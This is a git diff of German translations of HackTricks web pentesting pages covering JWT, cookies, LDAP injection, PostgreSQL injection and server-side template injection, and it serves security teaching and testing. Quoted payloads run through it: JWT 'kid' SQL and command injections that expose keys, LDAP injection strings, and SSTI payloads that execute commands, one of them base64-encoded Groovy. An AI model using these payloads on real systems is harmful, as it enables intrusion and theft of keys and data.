zu ändern, ist: `non-existent-index' UNION SELECT 'ATTACKER';-- -` @@ -137,7 +137,7 @@ Diese Änderung zwingt die Verwendung eines bekannten geheimen Schlüssels, `ATT #### OS-Injection über "kid" -Ein Szenario, in dem der `kid`-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Injizieren von Befehlen in den `kid`-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel für eine Payload, um RCE und Schlüsseloffenlegung zu erreichen, ist: +Ein Szenario, in dem der `kid`-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Injizieren von Befehlen in den `kid`-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel für eine Nutzlast, um RCE und Schlüsseloffenlegung zu erreichen, ist: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` @@ -188,7 +188,7 @@ Dieser Parameter kann das **Zertifikat in base64** enthalten: ![](<../.gitbook/assets/image (1119).png>) -Wenn der Angreifer **ein selbstsigniertes Zertifikat generiert** und ein gefälschtes Token mit dem entsprechenden privaten Schlüssel erstellt und den Wert des Parameters "x5c" mit dem neu generierten Zertifikat ersetzt und die anderen Parameter, nämlich n, e und x5t, ändert, würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden. +Wenn der Angreifer **ein selbstsigniertes Zertifikat generiert** und ein gefälschtes Token mit dem entsprechenden privaten Schlüssel erstellt und den Wert des "x5c"-Parameters durch das neu generierte Zertifikat ersetzt und die anderen Parameter, nämlich n, e und x5t, ändert, würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text @@ -199,7 +199,7 @@ Wenn das JWT einen öffentlichen Schlüssel eingebettet hat, wie im folgenden Sz ![](<../.gitbook/assets/image (624).png>) -Mit dem folgenden Node.js-Skript ist es möglich, einen öffentlichen Schlüssel aus diesen Daten zu generieren: +Mit dem folgenden nodejs-Skript ist es möglich, einen öffentlichen Schlüssel aus diesen Daten zu generieren: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); @@ -236,7 +236,7 @@ Hier ist ein Beispiel: [ECDSA: Offenlegung des privaten Schlüssels, wenn dersel ### JTI (JWT ID) Der JTI (JWT ID) Anspruch bietet einen eindeutigen Identifikator für ein JWT-Token. Er kann verwendet werden, um zu verhindern, dass das Token wiederverwendet wird.\ -Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfragen 0001 und 10001 werden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage inkrementiert, könnten Sie dies ausnutzen, um eine **Anfrage wiederzugeben** (wobei 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden müssen). +Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfragen 0001 und 10001 werden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage erhöht, könnten Sie dies ausnutzen, um eine **Anfrage wiederzugeben** (wobei 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden müssen). ### JWT Registrierte Ansprüche @@ -248,7 +248,7 @@ Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst zur Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client vom JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausgabe oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich mit demselben Benutzernamen/E-Mail bei einem anderen Client dieses Dienstes anzumelden. Anschließend sollte versucht werden, das erhaltene Token in einer Anfrage an das Ziel wiederzugeben, um zu sehen, ob es akzeptiert wird. -* Ein kritisches Problem könnte durch die Akzeptanz Ihres Tokens angezeigt werden, was möglicherweise das Spoofing eines beliebigen Benutzerkontos ermöglicht. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfassendere Tests erforderlich ist, wenn Sie sich bei einer Drittanbieteranwendung anmelden, da dies in einen rechtlichen Graubereich fallen könnte. +* Ein kritisches Problem könnte durch die Akzeptanz Ihres Tokens angezeigt werden, was möglicherweise das Spoofing eines beliebigen Benutzerkontos ermöglichen könnte. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfassendere Tests erforderlich ist, wenn Sie sich bei einer Drittanbieteranwendung anmelden, da dies in einen rechtlichen Graubereich fallen könnte. **Ablaufprüfung von Tokens** @@ -260,7 +260,7 @@ Das Ablaufdatum des Tokens wird mit dem "exp" Payload-Anspruch überprüft. Da J {% embed url="https://github.com/ticarpi/jwt_tool" %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index 7372503da..5dec7cef9 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -42,8 +42,8 @@ Wenn zwei Cookies denselben Namen haben, wird dasjenige, das zum Senden ausgewä * Das `SameSite`-Attribut bestimmt, ob Cookies bei Anfragen von Drittanbieter-Domains gesendet werden. Es bietet drei Einstellungen: * **Strict**: Beschränkt das Cookie, um bei Anfragen von Drittanbietern gesendet zu werden. -* **Lax**: Erlaubt das Cookie, mit GET-Anfragen, die von Drittanbieter-Websites initiiert werden, gesendet zu werden. -* **None**: Erlaubt das Cookie, von jeder Drittanbieter-Domain gesendet zu werden. +* **Lax**: Erlaubt das Senden des Cookies mit GET-Anfragen, die von Drittanbieter-Websites initiiert werden. +* **None**: Erlaubt das Senden des Cookies von jeder Drittanbieter-Domain. Denke daran, dass das Verständnis dieser Attribute bei der Konfiguration von Cookies helfen kann, um sicherzustellen, dass sie in verschiedenen Szenarien wie erwartet funktionieren. @@ -102,13 +102,13 @@ Es ist wichtig zu beachten, dass Cookies, die mit `__Host-` beginnen, nicht an S ### Überschreiben von Cookies -Eine der Schutzmaßnahmen von mit `__Host-` beginnenden Cookies besteht darin, zu verhindern, dass sie von Subdomains überschrieben werden. Dies verhindert beispielsweise [**Cookie Tossing-Angriffe**](cookie-tossing.md). In dem Vortrag [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**Paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) wird präsentiert, dass es möglich war, \_\_HOST- beginnende Cookies von Subdomains zu setzen, indem man den Parser täuschte, zum Beispiel, indem man "=" am Anfang oder am Ende hinzufügte...: +Eine der Schutzmaßnahmen von `__Host-`-präfixierten Cookies besteht darin, zu verhindern, dass sie von Subdomains überschrieben werden. Dies verhindert beispielsweise [**Cookie Tossing-Angriffe**](cookie-tossing.md). In dem Vortrag [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**Paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) wird präsentiert, dass es möglich war, \_\_HOST- präfixierte Cookies von einer Subdomain zu setzen, indem man den Parser täuschte, zum Beispiel, indem man "=" am Anfang oder am Ende hinzufügte...: -
+
-Oder in PHP war es möglich, **andere Zeichen am Anfang** des Cookie-Namens hinzuzufügen, die durch Unterstrich-Zeichen **ersetzt** werden sollten, was es ermöglichte, `__HOST-` Cookies zu überschreiben: +Oder in PHP war es möglich, **andere Zeichen am Anfang** des Cookie-Namens hinzuzufügen, die durch Unterstriche **ersetzt** werden sollten, was es ermöglichte, `__HOST-` Cookies zu überschreiben: -
+
## Cookies-Angriffe @@ -154,7 +154,7 @@ Dieser Angriff zwingt einen angemeldeten Benutzer, unerwünschte Aktionen in ein ### Leere Cookies -(Weitere Details findest du in der [originalen Forschung](https://blog.ankursundara.com/cookie-bugs/)) Browser erlauben die Erstellung von Cookies ohne Namen, was durch JavaScript wie folgt demonstriert werden kann: +(Weitere Details im [originalen Forschungsbericht](https://blog.ankursundara.com/cookie-bugs/)) Browser erlauben die Erstellung von Cookies ohne Namen, was durch JavaScript wie folgt demonstriert werden kann: ```js document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie @@ -170,7 +170,7 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu ``` Dies führt dazu, dass der Browser einen Cookie-Header sendet, der von jedem Webserver als ein Cookie mit dem Namen `a` und dem Wert `b` interpretiert wird. -#### Chrome-Fehler: Unicode-Surrogat-Codepunkt-Problem +#### Chrome-Bug: Unicode-Surrogat-Codepunkt-Problem In Chrome, wenn ein Unicode-Surrogat-Codepunkt Teil eines gesetzten Cookies ist, wird `document.cookie` beschädigt und gibt anschließend einen leeren String zurück: ```js @@ -180,7 +180,7 @@ Dies führt dazu, dass `document.cookie` einen leeren String ausgibt, was auf ei #### Cookie-Smuggling aufgrund von Parsing-Problemen -(Weitere Details finden Sie in der [originalen Forschung](https://blog.ankursundara.com/cookie-bugs/)) Mehrere Webserver, einschließlich der von Java (Jetty, TomCat, Undertow) und Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gehen mit Cookie-Strings aufgrund veralteter RFC2965-Unterstützung falsch um. Sie lesen einen doppelt zitierten Cookie-Wert als einen einzigen Wert, selbst wenn er Semikolons enthält, die normalerweise Schlüssel-Wert-Paare trennen sollten: +(Weitere Details finden Sie in der [originalen Forschung](https://blog.ankursundara.com/cookie-bugs/)) Mehrere Webserver, einschließlich der von Java (Jetty, TomCat, Undertow) und Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), behandeln Cookie-Strings aufgrund veralteter RFC2965-Unterstützung falsch. Sie lesen einen doppelt zitierten Cookie-Wert als einen einzelnen Wert, selbst wenn er Semikolons enthält, die normalerweise Schlüssel-Wert-Paare trennen sollten: ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` @@ -190,9 +190,9 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; * Undertow erwartet ein neues Cookie sofort nach einem zitierten Wert ohne Semikolon. * Zope sucht nach einem Komma, um mit der Analyse des nächsten Cookies zu beginnen. -* Die Cookie-Klassen von Python beginnen mit der Analyse bei einem Leerzeichen. +* Die Cookie-Klassen von Python beginnen die Analyse bei einem Leerzeichen. -Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basiertem CSRF-Schutz basieren, da sie Angreifern ermöglicht, gefälschte CSRF-Token-Cookies einzuschleusen, was potenziell Sicherheitsmaßnahmen umgeht. Das Problem wird durch die Handhabung von doppelten Cookie-Namen in Python verschärft, bei der das letzte Vorkommen frühere überschreibt. Es wirft auch Bedenken hinsichtlich `__Secure-` und `__Host-` Cookies in unsicheren Kontexten auf und könnte zu Autorisierungsumgehungen führen, wenn Cookies an Backend-Server weitergegeben werden, die anfällig für Spoofing sind. +Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basiertem CSRF-Schutz basieren, da sie es Angreifern ermöglicht, gefälschte CSRF-Token-Cookies einzuschleusen, was potenziell Sicherheitsmaßnahmen umgeht. Das Problem wird durch die Handhabung von doppelten Cookie-Namen in Python verschärft, bei der das letzte Vorkommen frühere überschreibt. Es wirft auch Bedenken hinsichtlich `__Secure-` und `__Host-` Cookies in unsicheren Kontexten auf und könnte zu Autorisierungsumgehungen führen, wenn Cookies an Backend-Server weitergegeben werden, die anfällig für Spoofing sind. ### Extra Vulnerable Cookies Checks @@ -200,18 +200,18 @@ Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie- * Das **Cookie** ist jedes Mal, wenn Sie sich **einloggen**, **gleich**. * Melden Sie sich ab und versuchen Sie, dasselbe Cookie zu verwenden. -* Versuchen Sie, sich mit 2 Geräten (oder Browsern) mit demselben Cookie in dasselbe Konto einzuloggen. +* Versuchen Sie, sich mit 2 Geräten (oder Browsern) beim selben Konto mit demselben Cookie anzumelden. * Überprüfen Sie, ob das Cookie Informationen enthält, und versuchen Sie, es zu ändern. * Versuchen Sie, mehrere Konten mit fast demselben Benutzernamen zu erstellen, und überprüfen Sie, ob Sie Ähnlichkeiten sehen können. * Überprüfen Sie die Option "**remember me**", falls vorhanden, um zu sehen, wie sie funktioniert. Wenn sie vorhanden ist und anfällig sein könnte, verwenden Sie immer das Cookie von **remember me** ohne ein anderes Cookie. -* Überprüfen Sie, ob das vorherige Cookie funktioniert, selbst nachdem Sie das Passwort geändert haben. +* Überprüfen Sie, ob das vorherige Cookie auch nach einer Passwortänderung funktioniert. #### **Advanced cookies attacks** Wenn das Cookie beim Einloggen gleich bleibt (oder fast gleich bleibt), bedeutet dies wahrscheinlich, dass das Cookie mit einem Feld Ihres Kontos (wahrscheinlich dem Benutzernamen) verbunden ist. Dann können Sie: -* Versuchen, viele **Konten** mit sehr **ähnlichen** Benutzernamen zu erstellen und versuchen, zu **erraten**, wie der Algorithmus funktioniert. -* Versuchen, den **Benutzernamen zu bruteforcen**. Wenn das Cookie nur als Authentifizierungsmethode für Ihren Benutzernamen gespeichert wird, können Sie ein Konto mit dem Benutzernamen "**Bmin**" erstellen und jeden einzelnen **Bit** Ihres Cookies **bruteforcen**, da eines der Cookies, die Sie versuchen werden, dasjenige ist, das zu "**admin**" gehört. +* Versuchen, viele **Konten** mit sehr **ähnlichen** Benutzernamen zu erstellen und versuchen zu **erraten**, wie der Algorithmus funktioniert. +* Versuchen, den **Benutzernamen zu bruteforcen**. Wenn das Cookie nur als Authentifizierungsmethode für Ihren Benutzernamen gespeichert wird, können Sie ein Konto mit dem Benutzernamen "**Bmin**" erstellen und jeden einzelnen **Bit** Ihres Cookies **bruteforcen**, da eines der Cookies, die Sie versuchen werden, das von "**admin**" sein wird. * Versuchen Sie **Padding** **Oracle** (Sie können den Inhalt des Cookies entschlüsseln). Verwenden Sie **padbuster**. **Padding Oracle - Padbuster examples** @@ -253,7 +253,7 @@ Wenn Sie sich anmelden, muss das Cookie, das Sie erhalten, immer dasselbe sein. Erstellen Sie 2 Benutzer mit fast denselben Daten (Benutzername, Passwort, E-Mail usw.) und versuchen Sie, ein Muster im gegebenen Cookie zu entdecken. -Erstellen Sie einen Benutzer mit dem Namen "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und überprüfen Sie, ob es ein Muster im Cookie gibt (da ECB mit demselben Schlüssel jeden Block verschlüsselt, könnten dieselben verschlüsselten Bytes erscheinen, wenn der Benutzername verschlüsselt wird). +Erstellen Sie einen Benutzer mit dem Namen "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und überprüfen Sie, ob es ein Muster im Cookie gibt (da ECB mit demselben Schlüssel jeden Block verschlüsselt, könnten die gleichen verschlüsselten Bytes erscheinen, wenn der Benutzername verschlüsselt wird). Es sollte ein Muster (mit der Größe eines verwendeten Blocks) geben. Wenn Sie wissen, wie eine Menge von "a" verschlüsselt ist, können Sie einen Benutzernamen erstellen: "a"\*(Größe des Blocks)+"admin". Dann könnten Sie das verschlüsselte Muster eines Blocks von "a" aus dem Cookie löschen. Und Sie haben das Cookie des Benutzernamens "admin". diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index 983a5d534..18776ef4a 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -17,7 +17,7 @@ Lerne & übe GCP Hacking: {% endhint %} -
+
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). @@ -33,7 +33,7 @@ Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacke [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} -**LDAP Injection** ist ein Angriff auf Webanwendungen, die LDAP-Anweisungen aus Benutzereingaben erstellen. Er tritt auf, wenn die Anwendung **Eingaben nicht ordnungsgemäß bereinigt**, was Angreifern ermöglicht, **LDAP-Anweisungen** über einen lokalen Proxy zu **manipulieren**, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann. +**LDAP Injection** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Er tritt auf, wenn die Anwendung **nicht ordnungsgemäß** Eingaben bereinigt, was Angreifern ermöglicht, **LDAP-Anweisungen zu manipulieren** über einen lokalen Proxy, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann. {% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} @@ -136,9 +136,9 @@ password=any * [LDAP-Attribute](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) * [LDAP PosixAccount-Attribute](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) -### Blind LDAP-Injection +### Blinde LDAP-Injection -Sie können False- oder True-Antworten erzwingen, um zu überprüfen, ob Daten zurückgegeben werden, und eine mögliche Blind LDAP-Injection zu bestätigen: +Sie können falsche oder wahre Antworten erzwingen, um zu überprüfen, ob Daten zurückgegeben werden, und eine mögliche blinde LDAP-Injection zu bestätigen: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void @@ -167,7 +167,7 @@ Sie können über die ASCII-Buchstaben, Ziffern und Symbole iterieren: #### **Gültige LDAP-Felder entdecken** -LDAP-Objekte **enthalten standardmäßig mehrere Attribute**, die verwendet werden können, um **Informationen zu speichern**. Sie können versuchen, **alle davon mit Brute-Force zu extrahieren.** Eine Liste der [**Standard-LDAP-Attribute finden Sie hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). +LDAP-Objekte **enthalten standardmäßig mehrere Attribute**, die verwendet werden können, um **Informationen zu speichern**. Sie können versuchen, **alle davon zu brute-forcen, um diese Informationen zu extrahieren.** Eine Liste der [**Standard-LDAP-Attribute finden Sie hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). ```python #!/usr/bin/python3 import requests @@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} -
+
-Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). +Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} @@ -236,11 +236,11 @@ Lernen & üben Sie GCP Hacking: -HackTricks unterstützen +Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
{% endhint %} diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index 1c24f45a9..95370c3d4 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -15,19 +15,19 @@ Lerne & übe GCP Hacking: {% endhint %} -
+
-Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). +Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Schrift und Sprache erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} *** -**Diese Seite zielt darauf ab, verschiedene Tricks zu erklären, die dir helfen könnten, eine SQL-Injektion in einer PostgreSQL-Datenbank auszunutzen und die Tricks zu ergänzen, die du auf** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **finden kannst.** +**Diese Seite soll verschiedene Tricks erklären, die dir helfen könnten, eine SQL-Injektion in einer PostgreSQL-Datenbank auszunutzen und die Tricks zu ergänzen, die du auf** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **finden kannst.** -## Netzwerkinteraktion - Privilegieneskalation, Port-Scanner, NTLM-Herausforderungsantwort-Offenlegung & Exfiltration +## Netzwerkinteraktion - Privilegieneskalation, Port-Scanner, NTLM-Challenge-Response-Offenlegung & Exfiltration -Das **PostgreSQL-Modul `dblink`** bietet Möglichkeiten zur Verbindung mit anderen PostgreSQL-Instanzen und zur Ausführung von TCP-Verbindungen. Diese Funktionen, kombiniert mit der `COPY FROM`-Funktionalität, ermöglichen Aktionen wie Privilegieneskalation, Port-Scanning und das Erfassen von NTLM-Herausforderungsantworten. Für detaillierte Methoden zur Durchführung dieser Angriffe, siehe wie man [diese Angriffe durchführt](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). +Das **PostgreSQL-Modul `dblink`** bietet Möglichkeiten, sich mit anderen PostgreSQL-Instanzen zu verbinden und TCP-Verbindungen auszuführen. Diese Funktionen, kombiniert mit der `COPY FROM`-Funktionalität, ermöglichen Aktionen wie Privilegieneskalation, Port-Scanning und das Erfassen von NTLM-Challenge-Responses. Für detaillierte Methoden zur Durchführung dieser Angriffe, siehe wie man [diese Angriffe durchführt](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). ### **Exfiltrationsbeispiel mit dblink und großen Objekten** @@ -59,7 +59,7 @@ id=1; select pg_sleep(10);-- - **query\_to\_xml** -Diese Funktion gibt alle Daten im XML-Format in nur einer Datei zurück. Es ist ideal, wenn Sie eine große Menge an Daten in nur 1 Zeile ausgeben möchten: +Diese Funktion gibt alle Daten im XML-Format in nur einer Datei zurück. Sie ist ideal, wenn Sie eine große Menge an Daten in nur 1 Zeile ausgeben möchten: ```sql SELECT query_to_xml('select * from pg_user',true,true,''); ``` @@ -97,7 +97,7 @@ SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). @@ -113,7 +113,7 @@ Lernen & üben Sie GCP Hacking: {% endhint %} diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 2f67150fd..c8fc5ebb0 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -1,12 +1,14 @@ # SSTI (Server Side Template Injection) {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ + + +[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Support HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -25,33 +27,39 @@ Lerne & übe GCP Hacking: `. Die Beobachtung der Serverantwort auf mathematische Operationen hilft, die spezifische Template-Engine zu bestimmen. +#### Identification by payloads + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

+ +* Weitere Informationen unter [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ## Tools ### [TInjA](https://github.com/Hackmanit/TInjA) @@ -88,7 +96,7 @@ In dieser **Wortliste** finden Sie **definierte Variablen** in den Umgebungen ei ### Java -**Java - Grundlegende Injection** +**Java - Grundlegende Injektion** ```java ${7*7} ${{7*7}} @@ -133,7 +141,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI() <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` -**Weitere Informationen** +**Mehr Informationen** * Im FreeMarker-Bereich von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) @@ -181,17 +189,17 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` -Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird _expression inlining_ für andere Template-Standorte unterstützt, unter Verwendung von Syntax wie `[[...]]` oder `[(...)]`. Daher könnte eine einfache SSTI-Testlast wie `[[${7*7}]]` aussehen. +Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird _expression inlining_ für andere Template-Standorte unterstützt, unter Verwendung von Syntax wie `[[...]]` oder `[(...)]`. Daher könnte eine einfache SSTI-Testpayload wie `[[${7*7}]]` aussehen. -Die Wahrscheinlichkeit, dass diese Last funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist. +Die Wahrscheinlichkeit, dass diese Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist. Thymeleaf bietet auch _expression preprocessing_, bei dem Ausdrücke innerhalb doppelter Unterstriche (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert: ```java #{selection.__${sel.code}__} ``` -**Beispiel für eine Schwachstelle in Thymeleaf** +**Beispiel für eine Verwundbarkeit in Thymeleaf** -Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein könnte: +Betrachten Sie den folgenden Codeausschnitt, der anfällig für eine Ausnutzung sein könnte: ```xml @@ -422,6 +430,12 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value= this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ``` +### Other Java + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

+ +* Weitere Informationen unter [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) +
